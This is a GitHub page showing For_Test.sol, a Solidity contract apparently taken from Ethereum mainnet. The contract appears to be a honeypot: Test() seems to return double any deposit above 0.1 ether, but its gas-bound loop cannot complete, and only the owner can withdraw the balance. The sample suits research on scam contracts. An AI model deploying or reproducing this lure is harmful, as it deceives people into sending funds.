-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathFor_Test.sol
45 lines (37 loc) · 916 Bytes
/
For_Test.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// https://etherscan.io/address/0x2eCF8D1F46DD3C2098de9352683444A0B69Eb229#code
pragma solidity ^0.4.19;
contract For_Test
{
address owner = msg.sender;
function withdraw()
payable
public
{
require(msg.sender==owner);
owner.transfer(this.balance);
}
function() payable {}
function Test()
payable
public
{
if(msg.value> 0.1 ether)
{
uint256 multi =0;
uint256 amountToTransfer=0;
for(var i=0;i<msg.value*2;i++)
{
multi=i*2;
if(multi<amountToTransfer)
{
break;
}
else
{
amountToTransfer=multi;
}
}
msg.sender.transfer(amountToTransfer);
}
}
}